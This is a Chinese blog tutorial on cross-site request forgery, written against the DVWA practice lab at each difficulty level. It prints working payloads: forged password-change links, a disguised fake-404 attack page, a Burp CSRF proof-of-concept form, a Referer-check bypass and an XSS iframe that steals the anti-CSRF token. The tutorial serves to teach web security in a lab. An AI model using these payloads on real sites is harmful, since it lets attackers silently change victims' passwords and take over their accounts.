结合DVWA-CSRF浅析

CSRF:跨站请求伪造。即利用受害者未过期的身份认证信息(cookie、session等),诱导其点击攻击者构造的恶意链接,或者恶意页面,在受害人不知情的情况下,利用(不像XSS那样盗取)受害人有效的身份认证信息,向受害人访问的服务器发送请求,从而完成非法操作,如:改密码、转账等。

一.攻击方法:

1.直接构造恶意链接。(看上去就像是改密码的,反正我不点)

http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#c        此处127.0.0.1,是因为我是本地搭建的测试环境,买不起服务器...... 如果买了服务器,这里就是服务器地址。

2.使用短连接隐藏URL

        百度一个短连接生成工具,将长链接转换成短连接 http://mrw.so/60ASv6 ,这样看上去不像上面那个链接那么明显了。但只改链接的话,还是会出现密码修改成功的界面,仍会被受害人发现,所以不是很理想的方法。

3.设计攻击界面

        受害人不知道自己访问的是修改密码的界面,看到的是一个攻击者设计的界面,比如404页面,这样就悄悄地修改了受害人的密码。有自己服务器的话,在服务器上上传设计好的攻击界面;这里由于我没有服务器,故在本地写一个html文件做攻击界面。

<html>
<head>
</head>
<body>
<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#c">
<h1>404<h1>
<h2>file not found.<h2>
</body>
</html>

4.结合存储型XSS进行攻击

将CSRF代码写入XSS注入点。

二.DVWA靶场-CSRF:

1.low:

        将密码改成123并确认,提交。提示密码修改成功。 此时网址栏内容为:http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

看下源码。

        这里只是对比pass_new和pass_conf是否相同,无任何过滤。故将上面链接中pass_new和pass_conf改为你想改成的密码,保证pass_new和pass_conf一样就行。http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#

2.medium:

上面的方法在此已经行不通了。看下源码。

        这里stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ])判断referer中是否包含主机名(通过了解来源来防止CSRF),故可使referer包含主机名绕过,由于我只是测试。我作为攻击方ip是127.0.0.1(买不起服务器,用的本地调试ip),被攻击者的主机名是他的ip(假定为:192.168.125.25),故将攻击界面命名为192.168.125.25.html  放于攻击者的服务器里面,其内容如下:

<html>
<head>
</head>
<body>
<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#c">
<h1>404<h1>
<h2>file not found.<h2>
</body>
</html>

        或使用burp suite生成的那个html页面,如下:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/DVWA/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="111" />
      <input type="hidden" name="password&#95;conf" value="111" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

        在同一个浏览器访问这个文件。链接为 http://127.0.0.1/192.168.125.25.html ,访问后出现“404 file not found”,密码成功修改,且受害人看不到修改密码的界面。受害人会以为自己点了一个失效的链接。

        验证下密码是否修改成功:我们修改后的密码是111,用账号admin和密码111登录。可见登陆成功。故CSRF攻击成功。

 3.high:

        看下核心源码:这里加入了Anti-CSRF token机制。用户每次访问修改密码页面时,服务器返回一个随机token,当用户向服务器发起请求时,需要提交token,在服务器收到请求时,会先检查token,只有token正确时,服务器才会处理客户端的请求。

         故关键在于获得user_token。这里需要利用受害者的cookie去修改密码的页面获取关键的user_token。

方法1:

        构造攻击界面放在攻击者的服务器上,引诱受害人访问。但是要访问的服务器和攻击者的服务器域名不同,跨域了。(域B下所有页面不允许主动获取域A下的页面内容,除非域A主动给域B的页面发信息。)现在的浏览器不允许跨域,故方法一不太现实。

方法2:

        将攻击代码注入到目标服务器。结合高级XSS漏洞,获取token。

        这里XSS注入长度有限制,不能注入完整的攻击脚本,所以只能获取token。到XSS处,f12,修改name的长度,输入要注入的代码:<iframe src="../csrf/"οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>  ,获得token值为6137a0e053b0509cc3a8565538632ba2。如果点击“确定”,token会刷新,故暂时不要点它。

        不构造页面,直接构造链接:http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change&user_token=6137a0e053b0509cc3a8565538632ba2

        不过,这样受害人会发现修改成功的界面,故可以构造攻击界面。在弹出user_token后,构造链接:http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change&user_token=6137a0e053b0509cc3a8565538632ba2 替换1.html中的链接,并保存文件。1.html如下:

<a href="2.html"><img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change&user_token=6137a0e053b0509cc3a8565538632ba2">点击重试</a>

用浏览器打开1.html,如下图:

        点击下“点击重试”,出现构造的另一个掩盖密码修改成功的页面2.html如下:

 <h1>哈哈哈 404了(密码已修改)</h1>

4、impossible:

看下核心代码:这里使用PDO技术,防止SQL注入。对于CSRF,要求输入password_current,即旧密码,攻击者不知道旧密码,故无法进行CRSF攻击。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_curr = $_GET[ 'password_current' ];
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Sanitise current password input
	$pass_curr = stripslashes( $pass_curr );
	$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass_curr = md5( $pass_curr );

	// Check that the current password is correct
	$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
	$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
	$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
	$data->execute();

	// Do both new passwords match and does the current password match the user?
	if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
		// It does!
		$pass_new = stripslashes( $pass_new );
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update database with new password
		$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
		$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
		$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
		$data->execute();

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值